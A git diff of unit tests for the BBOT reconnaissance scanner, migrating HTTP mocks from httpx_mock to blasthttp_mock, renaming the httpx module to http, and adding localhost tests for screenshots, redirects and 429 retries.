                 "type": "Organization",
             },
         )
-        module_test.httpx_mock.add_response(
+        module_test.blasthttp_mock.add_response(
             url="https://api.github.com/orgs/blacklanternsecurity/repos?per_page=100&page=1",
             match_headers={"Authorization": "token asdf"},
             json=[
@@ -166,7 +166,7 @@ async def setup_before_prep(self, module_test):
                 }
             ],
         )
-        module_test.httpx_mock.add_response(
+        module_test.blasthttp_mock.add_response(
             url="https://api.github.com/repos/blacklanternsecurity/bbot/actions/workflows?per_page=100&page=1",
             match_headers={"Authorization": "token asdf"},
             json={
@@ -187,7 +187,7 @@ async def setup_before_prep(self, module_test):
                 ],
             },
         )
-        module_test.httpx_mock.add_response(
+        module_test.blasthttp_mock.add_response(
             url="https://api.github.com/repos/blacklanternsecurity/bbot/actions/workflows/22452226/runs?status=success&per_page=1",
             match_headers={"Authorization": "token asdf"},
             json={
@@ -434,7 +434,7 @@ async def setup_before_prep(self, module_test):
                 ],
             },
         )
-        module_test.httpx_mock.add_response(
+        module_test.blasthttp_mock.add_response(
             url="https://api.github.com/repos/blacklanternsecurity/bbot/actions/runs/8839360698/logs",
             match_headers={"Authorization": "token asdf"},
             headers={
@@ -442,11 +442,11 @@ async def setup_before_prep(self, module_test):
             },
             status_code=302,
         )
-        module_test.httpx_mock.add_response(
+        module_test.blasthttp_mock.add_response(
             url="https://productionresultssa10.blob.core.windows.net/actions-results/7beb304e-f42c-4830-a027-4f5dec53107d/workflow-job-run-3a559e2a-952e-58d2-b8db-2e604a9266d7/logs/steps/step-logs-0e34a19a-18b0-4208-b27a-f8c031db2d17.txt?rsct=text%2Fplain&se=2024-04-26T16%3A25%3A39Z&sig=a%2FiN8dOw0e3tiBQZAfr80veI8OYChb9edJ1eFY136B4%3D&sp=r&spr=https&sr=b&st=2024-04-26T16%3A15%3A34Z&sv=2021-12-02",
             content=self.zip_content,
         )
-        module_test.httpx_mock.add_response(
+        module_test.blasthttp_mock.add_response(
             url="https://api.github.com/repos/blacklanternsecurity/bbot/actions/runs/8839360698/artifacts",
             match_headers={"Authorization": "token asdf"},
             json={
@@ -474,7 +474,7 @@ async def setup_before_prep(self, module_test):
                 ],
             },
         )
-        module_test.httpx_mock.add_response(
+        module_test.blasthttp_mock.add_response(
             url="https://api.github.com/repos/blacklanternsecurity/bbot/actions/artifacts/1829832535/zip",
             match_headers={"Authorization": "token asdf"},
             headers={
@@ -482,7 +482,7 @@ async def setup_before_prep(self, module_test):
             },
             status_code=302,
         )
-        module_test.httpx_mock.add_response(
+        module_test.blasthttp_mock.add_response(
             url="https://pipelinesghubeus22.actions.githubusercontent.com/uYHz4cw2WwYcB2EU57uoCs3MaEDiz8veiVlAtReP3xevBriD1h/_apis/pipelines/1/runs/214601/signedartifactscontent?artifactName=build.tar.gz&urlExpires=2024-08-20T14%3A41%3A41.8000556Z&urlSigningMethod=HMACV2&urlSignature=OOBxLx4eE5A8uHjxOIvQtn3cLFQOBW927mg0hcTHO6U%3D",
             content=self.zip_content,
         )
@@ -533,7 +533,7 @@ class TestGithubWorkflowsSymlinkCheck(ModuleTestBase):
     config_overrides = {"modules": {"github_workflows": {"api_key": "asdf"}}}
 
     async def setup_before_prep(self, module_test):
-        module_test.httpx_mock.add_response(url="https://api.github.com/zen")
+        module_test.blasthttp_mock.add_response(url="https://api.github.com/zen")
 
     async def setup_after_prep(self, module_test):
         m = module_test.scan.modules["github_workflows"]
diff --git a/bbot/test/test_step_2/module_tests/test_module_gitlab_com.py b/bbot/test/test_step_2/module_tests/test_module_gitlab_com.py
index 684d225393..b5da946dbb 100644
--- a/bbot/test/test_step_2/module_tests/test_module_gitlab_com.py
+++ b/bbot/test/test_step_2/module_tests/test_module_gitlab_com.py
@@ -3,11 +3,11 @@
 
 class TestGitlab_Com(ModuleTestBase):
     targets = ["http://127.0.0.1:8888"]
-    modules_overrides = ["gitlab_com", "httpx", "social", "excavate"]
+    modules_overrides = ["gitlab_com", "http", "social", "excavate"]
 
     async def setup_before_prep(self, module_test):
         module_test.httpserver.expect_request("/").respond_with_data("<a href='https://gitlab.org/veilidgroup'/>")
-        module_test.httpx_mock.add_response(
+        module_test.blasthttp_mock.add_response(
             url="https://gitlab.org/api/v4/groups/veilidgroup/projects?simple=true",
             json=[
                 {
diff --git a/bbot/test/test_step_2/module_tests/test_module_gitlab_onprem.py b/bbot/test/test_step_2/module_tests/test_module_gitlab_onprem.py
index 7d14598f6e..bbfb046f1c 100644
--- a/bbot/test/test_step_2/module_tests/test_module_gitlab_onprem.py
+++ b/bbot/test/test_step_2/module_tests/test_module_gitlab_onprem.py
@@ -3,7 +3,7 @@
 
 class TestGitlab_OnPrem(ModuleTestBase):
     targets = ["http://127.0.0.1:8888"]
-    modules_overrides = ["gitlab_onprem", "httpx"]
+    modules_overrides = ["gitlab_onprem", "http"]
     config_overrides = {"modules": {"gitlab_onprem": {"api_key": "asdf"}}}
 
     async def setup_before_prep(self, module_test):
@@ -167,7 +167,7 @@ def check(self, module_test, events):
                 e
                 for e in events
                 if e.type == "TECHNOLOGY"
-                and e.data["technology"] == "GitLab"
+                and e.data["technology"] == "gitlab"
                 and e.data["url"] == "http://127.0.0.1:8888/"
             ]
         )
diff --git a/bbot/test/test_step_2/module_tests/test_module_google_playstore.py b/bbot/test/test_step_2/module_tests/test_module_google_playstore.py
index f73a79bf39..056f5e86f6 100644
--- a/bbot/test/test_step_2/module_tests/test_module_google_playstore.py
+++ b/bbot/test/test_step_2/module_tests/test_module_google_playstore.py
@@ -6,7 +6,7 @@ class TestGoogle_Playstore(ModuleTestBase):
 
     async def setup_after_prep(self, module_test):
         await module_test.mock_dns({"blacklanternsecurity.com": {"A": ["127.0.0.99"]}})
-        module_test.httpx_mock.add_response(
+        module_test.blasthttp_mock.add_response(
             url="https://play.google.com/store/search?q=blacklanternsecurity&c=apps",
             text="""<!DOCTYPE html>
             <html>
@@ -19,7 +19,7 @@ async def setup_after_prep(self, module_test):
             </body>
             </html>""",
         )
-        module_test.httpx_mock.add_response(
+        module_test.blasthttp_mock.add_response(
             url="https://play.google.com/store/apps/details?id=com.bbot.test",
             text="""<!DOCTYPE html>
             <html>
@@ -33,7 +33,7 @@ async def setup_after_prep(self, module_test):
             </body>
             </html>""",
         )
-        module_test.httpx_mock.add_response(
+        module_test.blasthttp_mock.add_response(
             url="https://play.google.com/store/apps/details?id=com.bbot.other",
             text="""<!DOCTYPE html>
             <html>
diff --git a/bbot/test/test_step_2/module_tests/test_module_gowitness.py b/bbot/test/test_step_2/module_tests/test_module_gowitness.py
index 528cc3abec..f67836b72c 100644
--- a/bbot/test/test_step_2/module_tests/test_module_gowitness.py
+++ b/bbot/test/test_step_2/module_tests/test_module_gowitness.py
@@ -5,14 +5,14 @@
 
 class TestGowitness(ModuleTestBase):
     targets = ["127.0.0.1:8888"]
-    modules_overrides = ["gowitness", "httpx", "social", "excavate"]
+    modules_overrides = ["gowitness", "http", "social", "excavate"]
     import shutil
     from pathlib import Path
 
     home_dir = Path("/tmp/.bbot_gowitness_test")
     shutil.rmtree(home_dir, ignore_errors=True)
     config_overrides = {
-        "force_deps": True,
+        "deps": {"behavior": "force_install"},
         "home": str(home_dir),
         "scope": {"report_distance": 2},
         "omit_event_types": [],
@@ -39,6 +39,7 @@ async def setup_after_prep(self, module_test):
         async def new_emit_event(event, **kwargs):
             if event.data["url"] == "https://github.com/blacklanternsecurity":
                 event.data["url"] = event.data["url"].replace("https://github.com", "http://127.0.0.1:8888")
+                event.parsed_url = module_test.scan.helpers.urlparse(event.data["url"])
             await old_emit_event(event, **kwargs)
 
         module_test.monkeypatch.setattr(module_test.scan.modules["social"], "emit_event", new_emit_event)
@@ -55,11 +56,9 @@ def check(self, module_test, events):
         assert len(screenshots) == 1, (
             f"{len(screenshots):,} .jpeg files found at {screenshots_path}, should have been 1"
         )
-        assert 1 == len([e for e in events if e.type == "URL" and e.data == "http://127.0.0.1:8888/"])
-        assert 1 == len(
-            [e for e in events if e.type == "URL_UNVERIFIED" and e.data == "https://fonts.googleapis.com/"]
-        )
-        assert 0 == len([e for e in events if e.type == "URL" and e.data == "https://fonts.googleapis.com/"])
+        assert 1 == len([e for e in events if e.type == "URL" and e.url == "http://127.0.0.1:8888/"])
+        assert 1 == len([e for e in events if e.type == "URL_UNVERIFIED" and e.url == "https://fonts.googleapis.com/"])
+        assert 0 == len([e for e in events if e.type == "URL" and e.url == "https://fonts.googleapis.com/"])
         assert 1 == len(
             [e for e in events if e.type == "SOCIAL" and e.data["url"] == "http://127.0.0.1:8888/blacklanternsecurity"]
         )
@@ -134,3 +133,55 @@ def check(self, module_test, events):
         filename = Path(webscreenshot.data["path"])
         # sadly this file doesn't exist because gowitness doesn't truncate properly
         assert not filename.exists()
+
+
+class TestGowitness_MultiPort(ModuleTestBase):
+    """
+    Integration test: two URLs on the same host with different ports
+    (HTTP :8888 and HTTPS :9999) both get correctly correlated screenshots.
+    Exercises the real gowitness binary and _resolve_parent tiered lookup.
+    """
+
+    targets = ["http://127.0.0.1:8888", "https://127.0.0.1:9999"]
+    modules_overrides = ["gowitness", "http"]
+
+    import shutil
+
+    home_dir = Path("/tmp/.bbot_gowitness_multiport_test")
+    shutil.rmtree(home_dir, ignore_errors=True)
+    config_overrides = {
+        "deps": {"behavior": "force_install"},
+        "home": str(home_dir),
+        "omit_event_types": [],
+    }
+
+    async def setup_after_prep(self, module_test):
+        # HTTP server on port 8888
+        module_test.set_expect_requests(
+            respond_args={
+                "response_data": "<html><head><title>Port 8888</title></head><body>Port 8888</body></html>",
+                "headers": {"Server": "Apache/2.4.41"},
+            },
+        )
+        # HTTPS server on port 9999
+        module_test.httpserver_ssl.expect_request("/").respond_with_data(
+            "<html><head><title>Port 9999</title></head><body>Port 9999</body></html>",
+            headers={"Server": "nginx/1.18.0"},
+        )
+
+    def check(self, module_test, events):
+        webscreenshots = [e for e in events if e.type == "WEBSCREENSHOT"]
+        assert len(webscreenshots) >= 2, f"Expected at least 2 WEBSCREENSHOT events, got {len(webscreenshots)}"
+
+        screenshot_urls = {e.data["url"] for e in webscreenshots}
+        assert any("8888" in url for url in screenshot_urls), f"No screenshot for port 8888. URLs: {screenshot_urls}"
+        assert any("9999" in url for url in screenshot_urls), f"No screenshot for port 9999. URLs: {screenshot_urls}"
+
+        # Verify parent events reference the correct port
+        for ws in webscreenshots:
+            url = ws.data["url"]
+            parent = ws.parent
+            if "8888" in url:
+                assert "8888" in str(parent.data), f"Screenshot for :8888 has wrong parent: {parent.data}"
+            elif "9999" in url:
+                assert "9999" in str(parent.data), f"Screenshot for :9999 has wrong parent: {parent.data}"
diff --git a/bbot/test/test_step_2/module_tests/test_module_graphql_introspection.py b/bbot/test/test_step_2/module_tests/test_module_graphql_introspection.py
index f6a47671c7..dd0380f653 100644
--- a/bbot/test/test_step_2/module_tests/test_module_graphql_introspection.py
+++ b/bbot/test/test_step_2/module_tests/test_module_graphql_introspection.py
@@ -31,4 +31,4 @@ def check(self, module_test, events):
         finding = [e for e in events if e.type == "FINDING"]
         assert finding, "should have raised 1 FINDING event"
         assert finding[0].data["url"] == "http://127.0.0.1:8888/"
-        assert finding[0].data["description"] == "GraphQL schema"
+        assert finding[0].data["description"] == "GraphQL Schema at http://127.0.0.1:8888/"
diff --git a/bbot/test/test_step_2/module_tests/test_module_hackertarget.py b/bbot/test/test_step_2/module_tests/test_module_hackertarget.py
index 748b645c63..182cb50b6f 100644
--- a/bbot/test/test_step_2/module_tests/test_module_hackertarget.py
+++ b/bbot/test/test_step_2/module_tests/test_module_hackertarget.py
@@ -3,7 +3,7 @@
 
 class TestHackertarget(ModuleTestBase):
     async def setup_before_prep(self, module_test):
-        module_test.httpx_mock.add_response(
+        module_test.blasthttp_mock.add_response(
             url="https://api.hackertarget.com/hostsearch/?q=blacklanternsecurity.com",
             text="asdf.blacklanternsecurity.com\nzzzz.blacklanternsecurity.com",
         )
diff --git a/bbot/test/test_step_2/module_tests/test_module_host_header.py b/bbot/test/test_step_2/module_tests/test_module_host_header.py
index a2d69e9b57..cf41260b5d 100644
--- a/bbot/test/test_step_2/module_tests/test_module_host_header.py
+++ b/bbot/test/test_step_2/module_tests/test_module_host_header.py
@@ -13,7 +13,7 @@ def extract_subdomain_tag(data):
 
 class TestHost_Header(ModuleTestBase):
     targets = ["http://127.0.0.1:8888"]
-    modules_overrides = ["httpx", "host_header"]
+    modules_overrides = ["http", "host_header"]
 
     fake_host = "fakedomain.fakeinteractsh.com"
 
@@ -35,9 +35,15 @@ def request_handler(self, request):
 
     async def setup_before_prep(self, module_test):
         self.interactsh_mock_instance = module_test.mock_interactsh("host_header")
-        module_test.monkeypatch.setattr(
-            module_test.scan.helpers, "interactsh", lambda *args, **kwargs: self.interactsh_mock_instance
-        )
+
+        # Mock at the helper creation level BEFORE modules are set up
+        def mock_interactsh_factory(*args, **kwargs):
+            return self.interactsh_mock_instance
+
+        # Apply the mock to the core helpers so modules get the mock during setup
+        from bbot.core.helpers.helper import ConfigAwareHelper
+
+        module_test.monkeypatch.setattr(ConfigAwareHelper, "interactsh", mock_interactsh_factory)
 
     async def setup_after_prep(self, module_test):
         expect_args = re.compile("/")
diff --git a/bbot/test/test_step_2/module_tests/test_module_http.py b/bbot/test/test_step_2/module_tests/test_module_http.py
index 2bc99f5ddf..92eb728258 100644
--- a/bbot/test/test_step_2/module_tests/test_module_http.py
+++ b/bbot/test/test_step_2/module_tests/test_module_http.py
@@ -1,63 +1,274 @@
-import json
-import httpx
+from werkzeug.wrappers import Response
 
 from .base import ModuleTestBase
 
 
-class TestHTTP(ModuleTestBase):
-    downstream_url = "https://blacklanternsecurity.fakedomain:1234/events"
-    config_overrides = {
-        "modules": {
-            "http": {
-                "url": downstream_url,
-                "method": "PUT",
-                "bearer": "auth_token",
-                "username": "bbot_user",
-                "password": "bbot_password",
-            }
-        }
-    }
-
-    def verify_data(self, j):
-        return j["data"] == "blacklanternsecurity.com" and j["type"] == "DNS_NAME"
-
-    async def setup_after_prep(self, module_test):
-        self.got_event = False
-        self.headers_correct = False
-        self.method_correct = False
-        self.url_correct = False
-
-        async def custom_callback(request):
-            j = json.loads(request.content)
-            if request.url == self.downstream_url:
-                self.url_correct = True
-            if request.method == "PUT":
-                self.method_correct = True
-            if "Authorization" in request.headers:
-                self.headers_correct = True
-            if self.verify_data(j):
-                self.got_event = True
-            return httpx.Response(
-                status_code=200,
-            )
-
-        module_test.httpx_mock.add_callback(custom_callback)
-        module_test.httpx_mock.add_callback(custom_callback)
-        module_test.httpx_mock.add_response(
-            method="PUT", headers={"Authorization": "bearer auth_token"}, url=self.downstream_url
-        )
-
-    def check(self, module_test, events):
-        assert self.got_event is True
-        assert self.headers_correct is True
-        assert self.method_correct is True
-        assert self.url_correct is True
-
-
-class TestHTTPSIEMFriendly(TestHTTP):
+class TestHTTPBase(ModuleTestBase):
+    targets = ["http://127.0.0.1:8888/url", "127.0.0.1:8888"]
+    module_name = "http"
+    modules_overrides = ["http", "excavate"]
+    config_overrides = {"modules": {"http": {"store_responses": True}}}
+
+    # HTML for a page with a login form
+    html_with_login = """
+<html>
+<body>
+    <form>
+        <input type="text" name="username">
+        <input name="password">
+        <input type="submit" value="Login">
+    </form>
+</body>
+</html>"""
+
+    # HTML for a page without a login form
+    html_without_login = """
+<html>
+<body>
+    <form>
+        <input type="text" name="search">
+        <input type="submit" value="Search">
+    </form>
+</body>
+</html>"""
+
+    async def setup_after_prep(self, module_test):
+        request_args = {"uri": "/", "headers": {"test": "header"}}
+        respond_args = {"response_data": self.html_without_login}
+        module_test.set_expect_requests(request_args, respond_args)
+        request_args = {"uri": "/url", "headers": {"test": "header"}}
+        respond_args = {"response_data": self.html_with_login}
+        module_test.set_expect_requests(request_args, respond_args)
+
+    def check(self, module_test, events):
+        url = False
+        open_port = False
+        for e in events:
+            if e.type == "HTTP_RESPONSE":
+                if e.data["path"] == "/":
+                    assert "login-page" not in e.tags
+                    open_port = True
+                elif e.data["path"] == "/url":
+                    assert "login-page" in e.tags
+                    url = True
+        assert url, "Failed to visit target URL"
+        assert open_port, "Failed to visit target OPEN_TCP_PORT"
+        saved_response = module_test.scan.home / "http_responses" / "127.0.0.1.8888[slash]url.txt"
+        assert saved_response.is_file(), "Failed to save raw http response"
+
+
+class TestHTTP_404(ModuleTestBase):
+    targets = ["https://127.0.0.1:9999"]
+    modules_overrides = ["http", "speculate", "excavate"]
+    config_overrides = {"modules": {"speculate": {"ports": "8888,9999"}}}
+
+    async def setup_after_prep(self, module_test):
+        module_test.httpserver.expect_request("/").respond_with_data(
+            "Redirecting...", status=301, headers={"Location": "https://127.0.0.1:9999"}
+        )
+        module_test.httpserver_ssl.expect_request("/").respond_with_data("404 not found", status=404)
+
+    def check(self, module_test, events):
+        assert 1 == len(
+            [e for e in events if e.type == "URL" and e.url == "http://127.0.0.1:8888/" and "status-301" in e.tags]
+        )
+        assert 1 == len([e for e in events if e.type == "URL" and e.url == "https://127.0.0.1:9999/"])
+
+
+class TestHTTP_Redirect(ModuleTestBase):
+    targets = ["http://127.0.0.1:8888"]
+    modules_overrides = ["http", "speculate", "excavate"]
+
+    async def setup_after_prep(self, module_test):
+        module_test.httpserver.expect_request("/").respond_with_data(
+            "Redirecting...", status=301, headers={"Location": "http://www.evilcorp.com"}
+        )
+
+    def check(self, module_test, events):
+        assert 1 == len(
+            [e for e in events if e.type == "URL" and e.url == "http://127.0.0.1:8888/" and "status-301" in e.tags]
+        )
+        assert 1 == len(
+            [
+                e
+                for e in events
+                if e.type == "URL_UNVERIFIED" and e.url == "http://www.evilcorp.com/" and "affiliate" in e.tags
+            ]
+        )
+        assert 1 == len(
+            [
+                e
+                for e in events
+                if e.type.startswith("DNS_NAME") and e.data == "www.evilcorp.com" and "affiliate" in e.tags
+            ]
+        )
+
+
+class TestHTTP_URLBlacklist(ModuleTestBase):
+    targets = ["http://127.0.0.1:8888"]
+    modules_overrides = ["http", "speculate", "excavate"]
+    config_overrides = {"web": {"spider_distance": 10, "spider_depth": 10}}
+
+    async def setup_after_prep(self, module_test):
+        module_test.httpserver.expect_request("/").respond_with_data(
+            """
+            <a href="/test.aspx"/>
+            <a href="/test.svg"/>
+            <a href="/test.woff2"/>
+            <a href="/test.txt"/>
+            """
+        )
+
+    def check(self, module_test, events):
+        assert 4 == len([e for e in events if e.type == "URL_UNVERIFIED"])
+        assert 3 == len([e for e in events if e.type == "HTTP_RESPONSE"])
+        assert 3 == len([e for e in events if e.type == "URL"])
+        assert 1 == len([e for e in events if e.type == "URL" and e.url == "http://127.0.0.1:8888/"])
+        assert 1 == len([e for e in events if e.type == "URL" and e.url == "http://127.0.0.1:8888/test.aspx"])
+        assert 1 == len([e for e in events if e.type == "URL" and e.url == "http://127.0.0.1:8888/test.txt"])
+        assert not any(e for e in events if "URL" in e.type and ".svg" in e.url)
+        assert not any(e for e in events if "URL" in e.type and ".woff" in e.url)
+
+
+class TestHTTP_querystring_removed(ModuleTestBase):
+    targets = ["http://127.0.0.1:8888"]
+    modules_overrides = ["http", "speculate", "excavate"]
+
+    async def setup_after_prep(self, module_test):
+        module_test.httpserver.expect_request("/").respond_with_data('<a href="/test.php?foo=bar"/>')
+
+    def check(self, module_test, events):
+        assert [e for e in events if e.type == "URL_UNVERIFIED" and e.url == "http://127.0.0.1:8888/test.php"]
+
+
+class TestHTTP_querystring_notremoved(TestHTTP_querystring_removed):
+    config_overrides = {"url_querystring_remove": False}
+
+    def check(self, module_test, events):
+        assert [e for e in events if e.type == "URL_UNVERIFIED" and e.url == "http://127.0.0.1:8888/test.php?foo=bar"]
+
+
+class TestHTTP_custom_headers(ModuleTestBase):
+    targets = ["http://127.0.0.1:8888"]
+    modules_overrides = ["http", "speculate", "excavate"]
+    config_overrides = {"web": {"http_headers": {"testheader": "testvalue"}}}
+
+    async def setup_after_prep(self, module_test):
+        module_test.httpserver.expect_request("/", headers={"testheader": "testvalue"}).respond_with_data("alive")
+
+    def check(self, module_test, events):
+        # Ensure we received the expected response when the header was present
+        assert [e for e in events if e.type == "URL" and "status-200" in e.tags]
+
+
+class TestHTTP_custom_cookies(ModuleTestBase):
+    targets = ["http://127.0.0.1:8888"]
+    modules_overrides = ["http", "speculate", "excavate"]
+    config_overrides = {"web": {"http_cookies": {"testcookie": "cookievalue"}}}
+
+    async def setup_after_prep(self, module_test):
+        # Expect a request to "/" with the custom cookie 'testcookie=cookievalue'
+        module_test.httpserver.expect_request("/", headers={"cookie": "testcookie=cookievalue"}).respond_with_data(
+            "alive"
+        )
+
+    def check(self, module_test, events):
+        # Ensure we received the expected response when the cookie was present
+        assert [e for e in events if e.type == "URL" and "status-200" in e.tags]
+
+
+class TestHTTP_429_retry(ModuleTestBase):
+    """Test the module's own defer→cooldown→retry→succeed path.
+
+    http_retries=1 means blasthttp makes up to 2 wire attempts per request.
+    We return 429 for the first 2 requests (exhausting blasthttp's retry),
+    so the module's 429 handler engages and defers with a cooldown. The 3rd
+    request (from the module's retry after cooldown) succeeds.
+    """
+
+    targets = ["http://127.0.0.1:8888"]
+    modules_overrides = ["http"]
+    config_overrides = {"web": {"429_sleep_interval": 1, "429_max_sleep_interval": 1}}
+
+    async def setup_after_prep(self, module_test):
+        self.request_count = 0
+
+        def handler(request):
+            self.request_count += 1
+            if self.request_count <= 2:
+                return Response("rate limited", status=429, headers={"Retry-After": "1"})
+            return Response("<html><body>OK</body></html>")
+
+        module_test.httpserver.expect_request("/").respond_with_handler(handler)
+
+    def check(self, module_test, events):
+        assert self.request_count >= 3, "Expected at least 3 requests (2 blasthttp attempts + 1 module retry)"
+        assert any(e.type == "URL" and "status-200" in e.tags for e in events), (
+            "Expected URL with status-200 after successful retry"
+        )
+        assert not any(e.type == "URL" and "status-429" in e.tags for e in events), (
+            "429 response should not be emitted as a URL event"
+        )
+
+
+class TestHTTP_url_metadata(ModuleTestBase):
+    """White-box test of make_url_metadata's OPEN_TCP_PORT probe set.
+
+    Well-known ports only probe their matching scheme (443→https, 80→http);
+    every other port probes both. url_hash stays scheme-independent so incoming
+    dedup is unaffected, and IPv6 hosts get bracketed netlocs.
+    """
+
+    targets = ["http://127.0.0.1:8888"]
+    module_name = "http"
+    modules_overrides = ["http"]
+
+    def check(self, module_test, events):
+        module = module_test.module
+        make_event = module_test.scan.make_event
+
+        e443 = make_event("127.0.0.1:443", "OPEN_TCP_PORT", dummy=True)
+        urls, url_hash = module.make_url_metadata(e443)
+        assert urls == ["https://127.0.0.1:443/"], "port 443 should probe https only"
+        # url_hash is scheme-independent, so OPEN_TCP_PORT dedup is unaffected
+        assert url_hash == hash((e443.host, e443.port, False))
+
+        e80 = make_event("127.0.0.1:80", "OPEN_TCP_PORT", dummy=True)
+        urls, _ = module.make_url_metadata(e80)
+        assert urls == ["http://127.0.0.1:80/"], "port 80 should probe http only"
+
+        e8080 = make_event("127.0.0.1:8080", "OPEN_TCP_PORT", dummy=True)
+        urls, _ = module.make_url_metadata(e8080)
+        assert urls == ["http://127.0.0.1:8080/", "https://127.0.0.1:8080/"], (
+            "non-well-known ports should probe both schemes"
+        )
+
+        e6 = make_event("[dead::beef]:8080", "OPEN_TCP_PORT", dummy=True)
+        urls, _ = module.make_url_metadata(e6)
+        assert urls == ["http://[dead::beef]:8080/", "https://[dead::beef]:8080/"], (
+            "IPv6 hosts should produce bracketed netlocs"
+        )
+
+
+class TestHTTP_429_max_retries(ModuleTestBase):
+    targets = ["http://127.0.0.1:8888"]
     modules_overrides = ["http"]
-    config_overrides = {"modules": {"http": dict(TestHTTP.config_overrides["modules"]["http"])}}
-    config_overrides["modules"]["http"]["siem_friendly"] = True
+    config_overrides = {"web": {"429_sleep_interval": 1, "429_max_sleep_interval": 1}}
+
+    async def setup_after_prep(self, module_test):
+        self.request_count = 0
 
-    def verify_data(self, j):
-        return j["data"] == {"DNS_NAME": "blacklanternsecurity.com"} and j["type"] == "DNS_NAME"
+        def handler(request):
+            self.request_count += 1
+            return Response("rate limited", status=429, headers={"Retry-After": "1"})
+
+        module_test.httpserver.expect_request("/").respond_with_handler(handler)
+
+    def check(self, module_test, events):
+        assert self.request_count >= 2, "Expected at least one retry before giving up"
+        assert not any(e.type == "URL" and "status-429" in e.tags for e in events), (
+            "Exhausted 429 retries should not emit a URL event"
+        )
+        assert not any(e.type == "HTTP_RESPONSE" and e.data.get("status_code") == 429 for e in events), (
+            "Exhausted 429 retries should not emit an HTTP_RESPONSE event"
+        )
diff --git a/bbot/test/test_step_2/module_tests/test_module_httpx.py b/bbot/test/test_step_2/module_tests/test_module_httpx.py
deleted file mode 100644
index fe8a2681b3..0000000000
--- a/bbot/test/test_step_2/module_tests/test_module_httpx.py
+++ /dev/null
@@ -1,175 +0,0 @@
-from .base import ModuleTestBase
-
-
-class TestHTTPXBase(ModuleTestBase):
-    targets = ["http://127.0.0.1:8888/url", "127.0.0.1:8888"]
-    module_name = "httpx"
-    modules_overrides = ["httpx", "excavate"]
-    config_overrides = {"modules": {"httpx": {"store_responses": True}}}
-
-    # HTML for a page with a login form
-    html_with_login = """
-<html>
-<body>
-    <form>
-        <input type="text" name="username">
-        <input name="password">
-        <input type="submit" value="Login">
-    </form>
-</body>
-</html>"""
-
-    # HTML for a page without a login form
-    html_without_login = """
-<html>
-<body>
-    <form>
-        <input type="text" name="search">
-        <input type="submit" value="Search">
-    </form>
-</body>
-</html>"""
-
-    async def setup_after_prep(self, module_test):
-        request_args = {"uri": "/", "headers": {"test": "header"}}
-        respond_args = {"response_data": self.html_without_login}
-        module_test.set_expect_requests(request_args, respond_args)
-        request_args = {"uri": "/url", "headers": {"test": "header"}}
-        respond_args = {"response_data": self.html_with_login}
-        module_test.set_expect_requests(request_args, respond_args)
-
-    def check(self, module_test, events):
-        url = False
-        open_port = False
-        for e in events:
-            if e.type == "HTTP_RESPONSE":
-                if e.data["path"] == "/":
-                    assert "login-page" not in e.tags
-                    open_port = True
-                elif e.data["path"] == "/url":
-                    assert "login-page" in e.tags
-                    url = True
-        assert url, "Failed to visit target URL"
-        assert open_port, "Failed to visit target OPEN_TCP_PORT"
-        saved_response = module_test.scan.home / "httpx" / "127.0.0.1.8888[slash]url.txt"
-        assert saved_response.is_file(), "Failed to save raw httpx response"
-
-
-class TestHTTPX_404(ModuleTestBase):
-    targets = ["https://127.0.0.1:9999"]
-    modules_overrides = ["httpx", "speculate", "excavate"]
-    config_overrides = {"modules": {"speculate": {"ports": "8888,9999"}}}
-
-    async def setup_after_prep(self, module_test):
-        module_test.httpserver.expect_request("/").respond_with_data(
-            "Redirecting...", status=301, headers={"Location": "https://127.0.0.1:9999"}
-        )
-        module_test.httpserver_ssl.expect_request("/").respond_with_data("404 not found", status=404)
-
-    def check(self, module_test, events):
-        assert 1 == len(
-            [e for e in events if e.type == "URL" and e.data == "http://127.0.0.1:8888/" and "status-301" in e.tags]
-        )
-        assert 1 == len([e for e in events if e.type == "URL" and e.data == "https://127.0.0.1:9999/"])
-
-
-class TestHTTPX_Redirect(ModuleTestBase):
-    targets = ["http://127.0.0.1:8888"]
-    modules_overrides = ["httpx", "speculate", "excavate"]
-
-    async def setup_after_prep(self, module_test):
-        module_test.httpserver.expect_request("/").respond_with_data(
-            "Redirecting...", status=301, headers={"Location": "http://www.evilcorp.com"}
-        )
-
-    def check(self, module_test, events):
-        assert 1 == len(
-            [e for e in events if e.type == "URL" and e.data == "http://127.0.0.1:8888/" and "status-301" in e.tags]
-        )
-        assert 1 == len(
-            [
-                e
-                for e in events
-                if e.type == "URL_UNVERIFIED" and e.data == "http://www.evilcorp.com/" and "affiliate" in e.tags
-            ]
-        )
-        assert 1 == len(
-            [
-                e
-                for e in events
-                if e.type.startswith("DNS_NAME") and e.data == "www.evilcorp.com" and "affiliate" in e.tags
-            ]
-        )
-
-
-class TestHTTPX_URLBlacklist(ModuleTestBase):
-    targets = ["http://127.0.0.1:8888"]
-    modules_overrides = ["httpx", "speculate", "excavate"]
-    config_overrides = {"web": {"spider_distance": 10, "spider_depth": 10}}
-
-    async def setup_after_prep(self, module_test):
-        module_test.httpserver.expect_request("/").respond_with_data(
-            """
-            <a href="/test.aspx"/>
-            <a href="/test.svg"/>
-            <a href="/test.woff2"/>
-            <a href="/test.txt"/>
-            """
-        )
-
-    def check(self, module_test, events):
-        assert 4 == len([e for e in events if e.type == "URL_UNVERIFIED"])
-        assert 3 == len([e for e in events if e.type == "HTTP_RESPONSE"])
-        assert 3 == len([e for e in events if e.type == "URL"])
-        assert 1 == len([e for e in events if e.type == "URL" and e.data == "http://127.0.0.1:8888/"])
-        assert 1 == len([e for e in events if e.type == "URL" and e.data == "http://127.0.0.1:8888/test.aspx"])
-        assert 1 == len([e for e in events if e.type == "URL" and e.data == "http://127.0.0.1:8888/test.txt"])
-        assert not any(e for e in events if "URL" in e.type and ".svg" in e.data)
-        assert not any(e for e in events if "URL" in e.type and ".woff" in e.data)
-
-
-class TestHTTPX_querystring_removed(ModuleTestBase):
-    targets = ["http://127.0.0.1:8888"]
-    modules_overrides = ["httpx", "speculate", "excavate"]
-
-    async def setup_after_prep(self, module_test):
-        module_test.httpserver.expect_request("/").respond_with_data('<a href="/test.php?foo=bar"/>')
-
-    def check(self, module_test, events):
-        assert [e for e in events if e.type == "URL_UNVERIFIED" and e.data == "http://127.0.0.1:8888/test.php"]
-
-
-class TestHTTPX_querystring_notremoved(TestHTTPX_querystring_removed):
-    config_overrides = {"url_querystring_remove": False}
-
-    def check(self, module_test, events):
-        assert [e for e in events if e.type == "URL_UNVERIFIED" and e.data == "http://127.0.0.1:8888/test.php?foo=bar"]
-
-
-class TestHTTPX_custom_headers(ModuleTestBase):
-    targets = ["http://127.0.0.1:8888"]
-    modules_overrides = ["httpx", "speculate", "excavate"]
